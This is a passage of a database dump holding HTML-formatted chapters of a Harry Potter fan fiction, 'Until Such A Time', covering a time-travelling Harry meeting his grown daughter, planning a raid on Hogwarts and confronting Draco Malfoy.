here!&quot;<br>\n<br>\nHarry\'s own arms closed around her, completing the embrace. She still fit\nperfectly there, like she was always meant to, no matter how old they grew\ntogether or apart. &quot;It\'s not a dream. I promise.&quot; His chin could\nstill rest the top of her head; he closed his eyes and held on to her. <br>\n<br>\n&quot;There have been days,&quot; she began, her words nearly drowned as she\npressed her cheek against the crook of his neck. &quot;When I have missed you\nso much...that I wanted to die.&quot; <br>\n<br>\n&quot;Don\'t say that, Hermione. Ever.&quot; <br>\n<br>\nHer back spasmed beneath his hand with a fresh sob. &quot;I\'m sorry. But it\'s\ntrue. And the only thing that kept me going was...&quot; She froze. &quot;Oh\ngod. You don\'t know about...&quot;<br>\n<br>\n&quot;Emma?&quot; he guessed. Smiling, he dropped a kiss onto her hair. She\nstill used her vanilla shampoo, the one he loved so much. &quot;I didn\'t want\nto rat on our daughter, but she\'s the whole reason I\'m here.&quot; <br>\n<br>\n&quot;You\'ve met her?&quot; Hermione reluctantly drew back. &quot;She...brought\nyou here? She didn\'t say anything to me about it.&quot; <br>\n<br>\n&quot;It\'s an even longer story.&quot; Harry kept his eyes on Hermione as he\nspoke his next words. &quot;In fact, why don\'t you come in here and tell your\nmother everything, Emma?&quot;<br>\n<br>\nIt only took a second for Emma to step out from behind the obscurity of the\nwall between the parlor and the hallway. In her plaid pajama set and pigtails,\nshe looked about thirteen. Thirteen and massively sheepish. &quot;Hi, Mum. Hi,\nDad.&quot; Despite everything, she smiled broadly. &quot;I can\'t believe I get\nto say that. You know...out loud and not just in my head.&quot; <br>\n<br>\n&quot;Emma.&quot; Hermione unwrapped her arms from Harry\'s neck and stared at\nher daughter. &quot;What have you done?&quot;<br>\n<br>\n&quot;Well...um...&quot; She twirled the end of one pigtail around her finger.\n&quot;I only did what you\'ve taught me, Mum. If I ever had a question, you\nalways told me to search until I found the answer. And...that\'s what I\'ve\ndone.&quot; <br>\n<br>\nNatural curiosity, coupled with mounting maternal frustration spread onto\nHermione\'s face. &quot;Just what was your question?&quot;<br>\n<br>\nThe girl shot a quick look at Harry. His arms were still around her mother, as\nif he didn\'t want to let go. &quot;\'What\'s the best way to make this whole\nworld better?\',&quot; she replied. Hermione\'s mouth dropped open. &quot;It was\nso clear once I read that book, \'The Hundred Greatest Theories You\'ll Never\nProve.\' Remember...the one Remus gave you for Christmas last year?&quot;<br>\n<br>\n&quot;Theory #65. The Time-Traveler...&quot; <br>\n<br>\n&quot;I\'m considering writing to the publisher. They\'ll have to drop it down to\nninety-nine now.&quot; Emma cleared her throat when neither of her parents\noffered any congratulations. &quot;It was risky and stupid and I probably\nshouldn\'t have tried it at all. I\'m sorry, Mum.&quot; <br>\n<br>\nHarry looked down at Hermione. &quot;It might not be my place to say so, but\nshe is truly sorry. And she\'s offered to find a solution.&quot; He didn\'t want\nto add that merely by living in this nightmare existence, his daughter had\nalready been punished more than enough. <br>\n<br>\n&quot;Of course it\'s your place. She\'s your daughter, too,&quot; Hermione said.\n<br>\n<br>\nHe nodded non-committally. &quot;Have you made any progress in finding a\nreversal spell?&quot; he asked Emma. <br>\n<br>\n&quot;You didn\'t have one when you did the spell in the first pace?&quot; <br>\n<br>\nEmma couldn\'t meet her mother\'s uncharacteristically angry eyes. &quot;I told\nyou. I was stupid.&quot; <br>\n<br>\n&quot;Oh Emma...&quot; Hermione stepped out of the warm circle of Harry\'s arms\nto begin pacing. &quot;Well, young lady. Answer the question. Not my question.\nHarry\'s.&quot;<br>\n<br>\n&quot;I\'ve...um...it\'s complicated.&quot; The girl heaved a sigh. &quot;It\'s\ncoming along.&quot; She looked at Harry. &quot;I\'m really sorry.&quot; <br>\n<br>\nHarry gave her a look of understanding. &quot;Why don\'t you keep at it? I need\nto talk to Hermione. In private,&quot; he added to discourage any further eavesdropping.<br>\n<br>\nEmma turned around, her fuzzy slipper-clad feet dragging. She paused at the\ndoorway and looked back. &quot;I only ever dreamed that I\'d get to see both of\nyou. Together. I do apologize for the problems I\'ve accidently created. But I\ndon\'t think I\'m sorry for trying. I mean, Mum...I haven\'t ever seen you look as\nhappy as you are right now. Doesn\'t that count for anything?&quot; When she\nreceived no reply, Emma continued on her way, disappearing around the corner.<br>\n<br>\n&quot;She\'s right,&quot; Hermione eventually said. &quot;I am happier now than\nI have been...&quot; She took a breath. &quot;But it\'s not meant to last. And I\nunderstand that. You don\'t belong here. The order of the world has been\naltered. By our eighteen year-old daughter.&quot;<br>\n<br>\nHarry tucked his hands into the pockets of his pants. &quot;She\'s a lot smarter\nthan I was at that age.&quot; <br>\n<br>\n&quot;Book smart, maybe. But that\'s all she knows. Practical applications in\nreal life situations...she has no idea,&quot; Hermione said sadly. A moment\npassed. &quot;How are you dealing with all of this, Harry?&quot;<br>\n<br>\n&quot;One minute, one new surprise at a time,&quot; he replied. &quot;I have to\nsay that, unfortunately, the hardest thing...is seeing Emma. The only image I\nhad of her in my mind before this afternoon was from the sonogram photographs.\nI keep having to remind myself that this...woman in front of me is my\ndaughter.&quot; Harry reached for the book he had set down earlier. &quot;I\nmissed her whole life. So...I can\'t be too angry at her for bringing me here.\nBecause if she hadn\'t...&quot;<br>\n<br>\n&quot;You would have missed it all anyway,&quot; Hermione finished for him.\n&quot;There is so much I want to tell you, Harry, but...&quot; She frowned.\n&quot;What are you doing with my book?&quot; With one hand, she brushed away\nmore tears and with the other, she reached for the thick volume. &quot;All\nthose years I tried to get you to read it and *now* you\'re interested?&quot;<br>\n<br>\nHe chuckled. &quot;I really wish it was that simple.&quot; His smile fell.\n&quot;Hermione...you and Emma are in danger.&quot; <br>\n<br>\n&quot;Every day of our lives, Harry.&quot; <br>\n<br>\n&quot;No, more so now than ever. Ron took his mother from her house\ntoday.&quot; <br>\n<br>\nAll the blood drained from Hermione\'s face. &quot;Ron has...Molly?&quot; she\nwhispered. &quot;He knows...he knows where...&quot;<br>\n<br>\n&quot;I don\'t think Ron has any idea what he really has. But he does know that\nhis mother knows something. That gives us time, but not much.&quot; <br>\n<br>\nShe clasped her head between her hands. &quot;This is all happening...so\nfast.&quot; <br>\n<br>\n&quot;Remus and the others believe that Voldemort might be operating out of\nHogwarts, which would make sense.&quot; Harry paused. &quot;I sound like a bad\nAmerican mafia movie.&quot; <br>\n<br>\n&quot;It would, yes.&quot;<br>\n<br>\nHe picked up where he had left off, indicating her book, &quot;Did you ever\nfinish the project?&quot;<br>\n<br>\nHermione dipped her head. &quot;For the most part...Harry!&quot; Her full\nattention snapped back to him. &quot;You\'re not thinking of...&quot;<br>\n<br>\n&quot;It\'s the only way, Hermione. I know that Mrs. Weasley could probably hold\nout for a long time; she\'s a tough lady. But it\'s just not a worthwhile\nrisk.&quot; Tucking the book under one arm, he reached out to brush his fingers\nalong her jaw. &quot;You\'re too important. You and Emma.&quot; <br>\n<br>\nShe thought for a moment. &quot;And Remus is on board with this?&quot; <br>\n<br>\n&quot;Reluctantly, but yes.&quot; <br>\n<br>\n&quot;Remus is very...cautious these days. He takes such wonderful care of us,\neven from the underground. We wouldn\'t have survived all this time without him.\nHe\'s sometimes *too* cautious. You must have been a very powerful influence for\nhim to agree to this.&quot; Hermione shifted her slight weight from one foot to\nthe other. &quot;You\'re like...this amazing breath of air, Harry. After so long\nwithout oxygen. It\'s as if life has come back...and we can all pick up where we\nleft off.&quot; She lowered her eyes. &quot;Don\'t worry. I know it can\'t\nlast.&quot; <br>\n<br>\nHarry took her fingers and pressed them against his lips. &quot;Let\'s only\nthink about rescuing Mrs. Weasley. The rest will come when it comes. And we\'ll\ndeal with it accordingly.&quot; <br>\n<br>\nHermione\'s eyelids fluttered at the warmth of his mouth against her skin.\n&quot;What are Emma and I to do? I can\'t just sit here...knowing everyone is\nputting themselves in such danger.&quot; <br>\n<br>\n&quot;Come with us. We need your power, Hermione. Your knowledge.&quot; <br>\n<br>\n&quot;Harry...I haven\'t...I couldn\'t. After all this time...going into battle\nagain?&quot; <br>\n<br>\nWith a smile, he squeezed her hand reassuringly. &quot;Come on. Aren\'t you a\nlittle stir-crazy?&quot; <br>\n<br>\nHer brown eyes clouded over with fresh tears. &quot;I suppose I am.&quot; She\nbrushed them away and nodded. &quot;All right. I\'ll storm the castle with you,\nHarry Potter.&quot; <br>\n<br>\n&quot;I knew you wouldn\'t say \'no\',&quot; he winked. <br>\n<br>\nShe looked down at the floor. &quot;I could never deny you anything. Why on\nearth do you think I agreed to buy that bikini?&quot; <br>\n<br>\nA few seconds of heavy silence passed between them. Finally, Harry dipped his\nhead, brushing a kiss across her mouth. Hermione whimpered slightly at the\nsudden intimacy, but her body, so long denied, responded by kissing him back,\nharder and deeper. <br>\n<br>\nShe broke away a minute later when it became too much. Her hands were tangled\nin his hair; his slid up and down her back. Gasping for air, Hermione shook her\nhead. &quot;I\'m sorry. I shouldn\'t have done that. I\'m old enough to be\nyour...&quot; <br>\n<br>\n&quot;Wife,&quot; he replied, doing a little panting himself. <br>\n<br>\n&quot;Mother,&quot; she corrected him. <br>\n<br>\nHarry frowned. &quot;If I threw some flour into my hair to make it look older,\nwould that make it all better?&quot;<br>\n<br>\n&quot;Be honest.&quot; She put her hands on her hips, her classic argument\nposition. &quot;Didn\'t you feel just a little bit like you were cheating on me?\nThe younger me?&quot; <br>\n<br>\n&quot;Maybe,&quot; Harry admitted a second later. &quot;Just a little bit\nthough. I told you...you\'re still my Hermione.&quot; <br>\n<br>\n&quot;But I\'m not. Not really. I\'ve changed, Harry. I\'m not the same woman I\nwas...the woman you knew. Your Hermione...your real Hermione...is back in your\nworld. Pregnant and probably missing you.&quot; Hermione forced herself to\nsmile. &quot;So, instead of standing here we should be doing what\'s necessary\nto get you back to her. Yes?&quot; Leaving no room for discussion, she backed\nup towards the door. &quot;Let me go change and we\'ll head to the\nhide-out.&quot; <br>\n<br>\nHarry took off his glasses and pinched the bridge of his nose. &quot;What about\nEmma?&quot; <br>\n<br>\n&quot;She\'ll come with us, of course. But she\'ll stay there. I don\'t want her\nin any danger whatsoever.&quot; Hermione hesitated. &quot;She\'s all I have\nleft...of you.&quot; Turning on her heel, Hermione left him alone in the\nparlor, holding a copy of &quot;Hogwarts: A History&quot; and still tasting her\nlips on his.<br>\n<br>\n****<br>\n<br>\nTo Be Continued</p>\n\n\n\n\n\n\n'),
	(166, 7, '<p class="MsoNormal">Disclaimer: The characters in this story do not belong to\nme, but to JK Rowling who created them and writes them much better than I do;)<br/>\n<br/>\nAuthor\'s Notes: Thank you for all the support on this story! I know I sound\nrepetitive in my notes sometimes, but I really do appreciate everyone who takes\nthe time to read/review one of my stories. I hope you keep doing so, and that\nit continues to hold your interest. <br/>\n<br/>\n****<br/>\n<br/>\nUntil Such A Time<br/>\nby Kristen Elizabeth<br/>\n<br/>\n****<br/>\n<br/>\nHe didn\'t like the way Lupin looked at her when they surfaced from the cold\nloch water. He didn\'t like the how the man\'s eyes lit up; he didn\'t like the\nway she smiled and swam for the shore. And he definitely didn\'t like they way\nthey embraced, holding each other for just as long as was proper, but too long\nfor Harry to ignore. An unfamiliar emotion bubbled up in the dead center of his\nchest. <br/>\n<br/>\nJealousy.<br/>\n<br/>\nIt wouldn\'t be a matter of merely shrugging this feeling off. As he and Emma\nemerged onto dry land, Harry watched the older version of his wife with their\nformer professor. They were speaking, but their conversation was too low for\nhim to hear. If he had been pressed for a logical guess, he would have supposed\nthat Lupin was checking on her well-being in all the confusion and excitement. <br/>\n<br/>\nBut he wasn\'t exactly thinking logically. He could only imagine what whispered\nwords they might be exchanging. Before it drove him crazy, Harry shook his\nhead, flinging water every which way. It was insane. Lupin was twenty years\ntheir senior, ancient now to a twenty-four year old. <br/>\n<br/>\nBut to a forty-two year old...twenty years didn\'t seem like all that much. <br/>\n<br/>\nLupin called to him, "Harry. Are you all right?"<br/>\n<br/>\nHe blinked and looked at them again, saw the worry and concern in both of their\neyes. There was more than that though. Guilt was hidden on each of their faces;\nHermione even had to avert her gaze away from his. Harry swallowed. "I\'m\njust fine. Where do we stand?"<br/>\n<br/>\n"We\'re working on gathering as many people as we can," Percy replied,\ncoming up from behind Hermione and Lupin. "George has gone back up to\ncollect the rest of the Order." <br/>\n<br/>\n"And once everyone is here?" <br/>\n<br/>\n"That all depends on whether you got it or not," Lupin said. "I\nassume you did?"<br/>\n<br/>\nEmma unzipped her waterproof jacket and pulled her mother\'s thick book out from\nit. "Here it is. Safe and sound, Mum, just like I promised." <br/>\n<br/>\nHermione smiled at her daughter and took the book. "Haven\'t you still got\nsome research to do?" she gently reminded her. <br/>\n<br/>\nWith a sigh, Emma pulled out another book, found a quiet place near a clump of\nrocks and settled back into the business of devising a solution to the\ntime-traveling mess she had instigated. <br/>\n<br/>\n"All right." While opening the book and flipping the pages, Hermione\nled the men to the central campfire where the light was better. "The first\nthing, the first defense Hogwarts has it that it\'s invisible to Muggles. Not a\nproblem...we\'ve all been there before." <br/>\n<br/>\n"I haven\'t," Emma reminded them, raising her voice to be heard. <br/>\n<br/>\n"Emma." With her daughter placated, Hermione continued, "As you\nknow, it\'s impossible to Apparate or Disapparate within Hogwarts grounds. Well,\nnot impossible just...difficult." <br/>\n<br/>\n"You\'ve found a way around that one?" Lupin asked. Was that pride in\nhis tone? Did his eyes shine just a bit too much with it as he looked at *his*\nwife? Harry\'s eyes narrowed. <br/>\n<br/>\nHermione flipped another page and tucked a loose lock of hair behind her ear.\nFor a second, Harry felt like he was back in school, studying for exams with\nhis best friend. His girlfriend. "The Quidditch pitch is the trick. I\'m\nnot quite sure why, but it\'s not protected by the barrier. If we Apparate onto\nit, we can avoid being seen in Hogsmeade altogether." She glanced up.\n"That is the plan, right?"<br/>\n<br/>\n"Of course," Percy said. "There are too many of his followers\nliving in Hogsmeade. Including Ron."<br/>\n<br/>\n"All right then. Now, once we\'re actually on Hogwarts grounds, we\'re\ncompletely vulnerable. So, might I suggest..." Hermione looked at Harry.\n"Your cloak? It will expand to fit all of us, yes?"<br/>\n<br/>\nHe blinked. "Er...yes. Sure."<br/>\n<br/>\n"There\'s only one problem," she continued with a sigh. "It\'s up\nin the attic back at the cottage." <br/>\n<br/>\n"Mum?"<br/>\n<br/>\nHermione waved off her daughter\'s call. "Give me a second, love." She\nfrowned. "Well, I suppose someone is going to have to go back for.."<br/>\n<br/>\n"Mum..." <br/>\n<br/>\n"Emma." She turned to look at her daughter with evident exasperation.\n"What is it?"<br/>\n<br/>\n"Dad\'s cloak...it\'s sort of...not in the attic." <br/>\n<br/>\nHermione folded her arms. "Then, where is it?"<br/>\n<br/>\nEmma chewed on her lower lip. "Underneath my bed." She held up her\nhands before her mother could reprimand her. "I know! Okay, once again,\nI\'m sorry!" <br/>\n<br/>\nHarry stepped towards his daughter. "I\'ll go back for it," he\nvolunteered. "It\'s all right." <br/>\n<br/>\n"Are you sure, Harry? Without the cloak...if anyone saw you on the way\nthere..." Hermione didn\'t need to finish the thought.<br/>\n<br/>\n"No one\'s going to see me; I\'ll Apparate straight into Emma\'s room." <br/>\n<br/>\nLupin rubbed his jaw. "I don\'t know, Harry. It\'s a risk." <br/>\n<br/>\n"Everything\'s a risk," Harry shot back, his voice harsher than he had\nintended it to be. "But it\'s worth it." He started for the water\'s\nedge; despite that, he certainly wasn\'t thrilled about going back into the\nwater for the fourth time. <br/>\n<br/>\nEmma hesitated a second before dumping her book into Percy\'s arms. "Wait!\nI\'ll go with you, Dad!"<br/>\n<br/>\nAt this, Hermione firmly shook her head and reached out to restrain the girl.\n"Absolutely not! You are staying right here, Emma. It\'s too dangerous out\nthere now."<br/>\n<br/>\n"Come on, Mum! I\'m protected by the charm. Dad\'s in a lot more danger than\nI am."<br/>\n<br/>\n"Your father is also a fully-trained wizard. You are not." <br/>\n<br/>\nEmma turned around to face her mother. "Mum...you\'re always saying that I\nhave no practical experience. Well...here\'s my chance!" Her hazel eyes\npleaded with Hermione, begging to be allowed to spend even a short few minutes\nwith her father. "Please? I\'ll be fine; I promise." <br/>\n<br/>\nIt pained him how Hermione turned to Lupin for his opinion first. When the\nolder man gave a short nod, she looked back at her daughter. "All right.\nJust...be careful. Please." She glanced at Harry. "Both of you."\n<br/>\n<br/>\nEmma nodded, excited, and kissed her mother\'s cheek. "Love you, Mum!"\n<br/>\n<br/>\n"I love you, too," Hermione whispered. She released the girl\'s\nshoulders and watched her approach her father\'s side, a huge smile lighting up\nher pretty face. As the two waded into the water, she called out to him.\n"Harry!"<br/>\n<br/>\nHe turned his head. She was standing there, tears shimmering in her eyes. Harry\nswallowed again; he couldn\'t seem to get rid of the lump in his throat. Lupin\nhad moved just behind her, a wall of solid comfort for her to lean on if she\nneeded it. "I wouldn\'t...let anything happen to her," Harry assured\nthem both. <br/>\n<br/>\nHermione nodded. A few minutes later, her daughter and husband disappeared\nunder the glass surface of the loch. She let her back curve slightly, knowing\nthat Lupin was right there to keep her standing. He always had been. Eighteen\nyears of shared pains and struggles had turned them into the closest of\nfriends. They could talk about anything...with one exception. They both felt it\nnow as he placed his hands on her shoulders. The only secret they kept...the\nnight nearly seven years past. The night when loneliness, grief, fear, and\nrepressed lust had sent them into each other\'s arms. <br/>\n<br/>\nShe closed her eyes. Why did her life have to be so complicated?<br/>\n<br/>\n****<br/>\n<br/>\n"I\'m never going to get the scent of loch water out of my hair," Emma\nsighed, twisted the thick, chestnut strands of her hair into a rope. "Of\ncourse, with a little luck, the cavern won\'t even be needed anymore soon."<br/>\n<br/>\n"With a little luck," Harry repeated. He looked around the Scottish\nhighlands; the sky was lighter at the very edge of the horizon, signaling the\noncoming dawn. "Let\'s go; I don\'t want to be gone too long."<br/>\n<br/>\nEmma let her wet hair fall back around her shoulders. "Don\'t worry about\nme, Dad. The charm..."<br/>\n<br/>\n"Just how does that work, anyway? I thought the Fidelus could only work on\nplaces. Houses." <br/>\n<br/>\n"That used to be true, up until last year, actually." She began\nsqueezing water out of her rugby shirt. "But then Remus found a way to\nextend the spell to create the same effect around a single body. Sort of like\nan Invisibility Cloak, except certain people can still see us, while others\ncan\'t. Wicked, eh?" Her eyes shone even in the dark. "Remus is so smart.\nHe even figured out his own spell to keep himself...well, himself during the\nfull moon. See, it\'s a pretty basic..."<br/>\n<br/>\nHarry cut her off, suddenly sick of thinking about his former professor.\n"That\'s fascinating, but we really should get going." <br/>\n<br/>\nHis daughter stared at him for a minute. "It\'s not me you\'re worried\nabout, is it. It\'s Mum. Just Mum." She looked down at the ground.\n"Yeah, I suppose I should have figured that." <br/>\n<br/>\n"Emma, don\'t be ridiculous. Of course I\'m worried about you. I\'m worried\nabout everyone. And not even just everyone in *this* time." He pushed his\nown hair, slick with water, off of his brow, baring his infamous scar. Harry\ndipped his head to see her lowered face. "Are you coming?" <br/>\n<br/>\nShe nodded and lifted her chin. "It\'s okay, you know. I don\'t blame you. I\nmean...it\'s not like I\'m really real." <br/>\n<br/>\nHer words died on the cold wind that swept over them as she spoke. Harry\nfrowned. "What? I can\'t hear you." <br/>\n<br/>\n"It doesn\'t matter," Emma called back. "C\'mon."<br/>\n<br/>\nApparation always left Harry with a slight headache that usually faded after a\nminute or two of standing on solid ground. There was just something about being\nmagically plucked from one place and plopped into another. And he had done it\nso many times that day; he vaguely remembered McGonagall\'s warnings to his\nseventh year class when they were studying the difficult subject. Apparating\ntoo many times a day was not doctor recommended. <br/>\n<br/>\nBut within seconds, he was back in his daughter\'s room. There was little light,\nand what light there was turned the darkness into a menacing specter. Shadows\nof stuffed animals loomed over them with fuzzy paws outstretched. Harry glanced\nover at his daughter. She was already on her knees, rooting underneath her bed\nfor the cloak. Suddenly, he turned his head towards the door; the tiny hairs on\nthe back of his neck rose. <br/>\n<br/>\n"I\'ve almost got..." <br/>\n<br/>\n"Shh!" Harry effectively silenced her. "I hear something." <br/>\n<br/>\nEmma froze, her cheek pressed against the smooth wood floor. "What is\nit?" she whispered. <br/>\n<br/>\nHe took a slow step forward and kept his voice low and calm. "I\nthink...someone\'s in the house." A loud, wooden creak just on the other\nside of her door confirmed this. There wasn\'t any time to do anything; he just\nprayed that whoever was there was one of the people on the raw end of the\nFidelus Charm. Emma\'s safety was a much higher priority than his. <br/>\n<br/>\nThe door began to open; with his foot, Harry gently urged his daughter to slide\nher body under her bed. There wasn\'t a sound in the room, not even the sound of\nbreathing. With Emma mostly hidden away, Harry took a few steps back, slipping\ninto the relative safety of the dark shadows created by her dresser at the far\ncorner of the room. <br/>\n<br/>\nWhen a dark figure entered the pink sugar kingdom of Emma\'s bedroom, Harry\ndidn\'t have to be able to see well to figure out who it was. There was just\nenough pre-dawn light to catch the silver blonde in the man\'s hair. Harry\nwatched Draco Malfoy, never letting his eyes leave him, as his childhood enemy\nwalked around the room. He wondered what Draco was seeing. Ripped dry wall, a\nshredded mattress, dust? It certainly seemed that way as the older version of\nthe man picked up a stuffed animal and immediately threw it aside. <br/>\n<br/>\nHarry bit into his cheek. Draco Malfoy. He hadn\'t thought about him in years.\nHe had disappeared, along with the rest of his family and his family\'s friends,\nafter Voldemort\'s defeat. Harry had always figured he was slinking around\nEurope like a coward, hiding out in ancient mansions unknown to the Ministry,\nliving off the charity of wizards who might think like him, but were smart\nenough to hide it well. <br/>\n<br/>\nNow, obviously, he was back in England and doing just fine if his expensive\nrobes were any clue. Harry felt his fists ball up. Of all the things Draco\nMalfoy had ever done to him, the small part he had played in Ginny\'s death was\nthe one thing Harry would never, ever forgive him for. <br/>\n<br/>\nWith his heart pounding within his chest, Harry came to a quick decision. He\ntook a breath and stepped out of the shadows. <br/>\n<br/>\n"Who\'s there?" Draco squinted in the darkness; he wore glasses now.\nTime had touched him as much as it had Hermione. There was more silver than\nblonde in his slicked back locks. "Weasley?" <br/>\n<br/>\nHarry forced himself to remain calm, even though he could fairly feel Emma\'s\npanic filtering up from under the bed. He moved to the window, letting the\nlight catch his face. It gave him enormous pleasure to hear Draco draw in a\nhuge breath. <br/>\n<br/>\n"Potter..." Fear dripped from the word; Draco\'s skin had always been\npale, but it was now white, whiter than the hair of a unicorn. <br/>\n<br/>\n"Draco Malfoy," Harry said, surprising himself with the depths of his\nvoice. He gave it an unearthly quality that only seemed to make the other man\npaler.<br/>\n<br/>\n"What the...?" Draco blinked several times. "You\'re dead..."\n<br/>\n<br/>\nHarry stared at him. "Yes. I am." <br/>\n<br/>\n"A ghost..." <br/>\n<br/>\n"Draco Malfoy. Leave this place." <br/>\n<br/>\nHe licked his dry lips. "What are you going to do to me, Potter?" The\nwords were brave, but he was not. "Haunt me? Go right ahead...I\'ve got\nenough ghosts on my conscience. One more won\'t matter much." <br/>\n<br/>\n"What conscience?" Harry asked, almost amused. "Return to your\nmaster; he\'s waiting for you." <br/>\n<br/>\n"Master?" Draco snorted softly. "You\'ve been dead too long. And\nnot watching too closely from wherever you\'ve been. The only master I answer to\nis myself." <br/>\n<br/>\nHarry tried not to frown at this. "Do not lie." <br/>\n<br/>\n"Don\'t you have anything better to do than to hang around here for all\neternity? Shouldn\'t you be watching them? The Mudblood and her brat?" <br/>\n<br/>\nBlood boiled beneath the surface of his skin. "I have good reason to be\ntied to this place. Why are you here, Draco Malfoy?" <br/>\n<br/>\nThe blonde man shook his head, chuckling. "Good question, Potter. Why am I\nhere? It\'s not what you probably think. I couldn\'t give a damn about finding\nyour family; that\'s Weasley\'s obsession, not mine." He sat on the edge of\nthe bed, his black robes almost touching Emma\'s exposed arm. Harry watched as\nhe stared at his hands. "Ginny ruined me forever, you know?" <br/>\n<br/>\nThis time, Harry did frown. "Ruined." <br/>\n<br/>\n"I didn\'t even realize...I loved her until she was gone." <br/>\n<br/>\n"You loved Ginny." Harry tried to say it in a way that wouldn\'t give\naway his utter shock at the admission, but it was difficult. Draco had loved\nGinny? He hadn\'t even ever seen them have a conversation that didn\'t include\ninsults. <br/>\n<br/>\n"And I know what you think," Draco continued. "What you died\nthinking. That I somehow knew what could happen to her." He lifted his\nhead to stare at the wall. "Well, I didn\'t. My father knew...but he\nneglected to share the details with me. He had known ever since the day he\nforced the diary on her. He knew it would tie her to Lord...to Voldemort. He\ngot off on the idea of one of Arthur Weasley\'s runts being spiritually\nconnected to everything he stood against." <br/>\n<br/>\nA long moment passed as Harry absorbed this. "If you had known, would you\nhave warned us? Would you have tried to save her life?" <br/>\n<br/>\n"I would have done anything," Draco whispered. "Anything to keep\nher alive." He looked back down. "But I only found out...the day she\ndied. When Voldemort\'s life-force was threatened, he drew life from the souls\nlinked to him. I *was* coming...to tell her. But I didn\'t know the damn\nGryffindor password and the bloody fat bitch wouldn\'t let me in without\nit!!" He closed his bloodshot grey eyes. "You carried her out into\nthe hallway, but she was already dead. I was hiding behind a statue. I hated\nyou more than I ever had before...and that\'s saying something...because you got\nto hold her. And I never would again." <br/>\n<br/>\n"Ginny loved you?" It was a question, but it came out like a\nstatement. Harry thought he caught the gleam of a tear on Draco\'s cheek, but\nwhen he blinked, it was gone. <br/>\n<br/>\nThe man lifted his shoulders. "We were young. We fooled around. I liked\nthe reputation I got around my House for being able to get any girl, even a\nyounger Gryffindor. She liked the danger of doing something wicked, something\nthat might get your attention. I just don\'t think we realized...that it grew\ninto something more. Or maybe she never did. Maybe it was just me." After\na second, Draco stood up. "So, I\'m here in the dark, in a wreck of a\nhouse, spilling my guts to the ghost of the great Harry Potter, because I miss\nher. And there\'s nowhere else for me to go when I feel this way." <br/>\n<br/>\n"Ron," Harry said.<br/>\n<br/>\nDraco laughed. "Weasley? I doubt he even remembers he had a sister, much\nless mourns her death. Just a necessary casualty in his Lord and Master\'s rise\nto power. You should know that, Potter. Or do you only spy on the living people\nwho didn\'t betray you?" <br/>\n<br/>\n"You do not follow the same master?"<br/>\n<br/>\n"Not when his back is turned," Draco muttered. <br/>\n<br/>\nHarry paused. "There is atonement, Draco Malfoy. And it\'s for the living\nas well as the dead." <br/>\n<br/>\n"Atonement?" he repeated. "What are you babbling about?" <br/>\n<br/>\n"Turn away from the Dark and align yourself with the fight for good. If\nyou truly feel remorse for Ginny Weasley, this is your chance for\nforgiveness." <br/>\n<br/>\nDraco shook his head. "Dying only made you dumber, Potter. Do you think\nI\'m going to join a rag-tag group of mostly Mudblooded wizards who are all\ngoing to die soon? Ginny\'s been dead for almost twenty-five years. I don\'t feel\nthat bloody sorry anymore." <br/>\n<br/>\n"What are you...talking about?" <br/>\n<br/>\n"I might hate the bastard, but I\'m smart enough to stay in his\ngraces," Draco went on. "When he finds your friends...well, you\ncouldn\'t pay me enough Galleons to be on the wrong side of that battle."\nHe moved towards Harry. "Weasley\'s finished his Truth Serum for his\nmother; he\'ll have his bloody Secret-Keeper soon. If you\'re lonely wherever you\nare, Potter, you won\'t be for long." He reached out a hand to grasp\nHarry\'s shoulder in mock comfort. "They\'ll all be with you..." His\nfingers made solid contact with Harry\'s robes; Draco jumped back as though he\nhad touched pure fire. "You\'re solid!"<br/>\n<br/>\nHarry stepped back, bumping into the pink wall. "Your mind plays tricks on\nyou, Draco Malfoy," he said, the words not even convincing to his own\nears. <br/>\n<br/>\n"You\'re not a ghost!" Draco accused him. "You\'re real..."<br/>\n<br/>\n"You\'re mad." <br/>\n<br/>\nThe other man moved for the door. "Perhaps. But not about this." A\nhorrible smile made his lips curve. "Won\'t Voldemort be excited? You\nknow...he\'s always said that the only bad thing about killing you was that it\nwas over too quickly. Now it seems like he might get his chance to..." <br/>\n<br/>\nHe never got to finish his thought. Harry\'s fist flew out from his robes,\nslamming into Draco\'s nose with the force of the Hogwarts Express. Cartilage\ncrunched, skin broke, blood spattered. The punch knocked the breath out of the\nman for a moment, rendering him unconscious. He crumpled to the floor, a huge\nlump of black cloth and sliver-blonde hair. <br/>\n<br/>\nHarry tried to relax his finger, but they were stiff and numb. With Draco out\nof the way for the moment, he hauled Emma out from under her bed. She clutched\nhis cloak in her hand. "Dad! What happened?" Right then, she caught a\nglimpse of Draco\'s body. "Oh my god..." <br/>\n<br/>\n"Come on! You heard everything. We have to get going; there\'s no more time\nto waste." Harry kept holding his daughter\'s hand as they prepared to\nDisapparate. There would be no more discussions about the logistics of sneaking\ninto Hogwarts; there would only be action. Because if they failed, Voldemort\nwould win. Again. <br/>\n<br/>\nAnd any past, present or future that Harry might have had would be gone forever.<br/>\n<br/>\n****<br/>\n<br/>\nTo Be Continued</p>\n<p class="MsoNormal">!!'),
	(166, 8, '\n\n\n\n<p class="MsoNormal">Disclaimer: The characters and the world they live in do not\nbelong to yours truly.<br>\n<br>\nAuthor\'s Notes: Sorry it took awhile to get this out. I got a job! A real,\ngrown-up, using my degree kind of job as a legal editor. Basically, I have no\ntime to myself anymore. Expect updates to be much slower than usual at least\nuntil I can get into my new schedule. Thank you for all the great reviews\nthough!!<br>\n<br>\nOn a side note, as much as I adore Ginny and the G/D pairing, I think that by\ngoing in depth into her death (which I only did because people were confused),\nI might have misled some people into believing that I\'m heading a certain\ndirection with this story. I usually don\'t say anything like this about my\nstories while they\'re in progress because I don\'t like to close any doors, but\nI will say, just so there won\'t be too much disappointment later on, there\'s\nnot a real good chance that Ginny will be coming back, time-travel\nnotwithstanding. Sorry, guys. Good people die fighting the fight. It\'s just\nlife:( That being said, I hope you keep reading anyway, cause I promise you a\ngood story!<br>\n<br>\n****<br>\n<br>\nUntil Such A Time<br>\nby Kristen Elizabeth<br>\n<br>\n****<br>\n<br>\n&quot;Oh, thank god you\'re all right!!&quot; After hearing everything that had\nhappened with Draco Malfoy in Emma\'s bedroom, Hermione folded her daughter up\nin her arms and squeezed as hard as she could. &quot;If anything had happened\nto you...&quot;<br>\n<br>\n&quot;I was never in any danger, Mum,&quot; Emma assured her. &quot;Dad was\ncompletely in control; he had that guy confessing all these deep secrets. He\nwas very cool.&quot; <br>\n<br>\nHermione smiled into her daughter\'s hair. &quot;Cool? Yes...your dad is\ncool.&quot; She met Harry\'s eyes. &quot;I should have known you\'d be fine with\nhim. No matter what.&quot; <br>\n<br>\n&quot;Don\'t make me out to be more than I 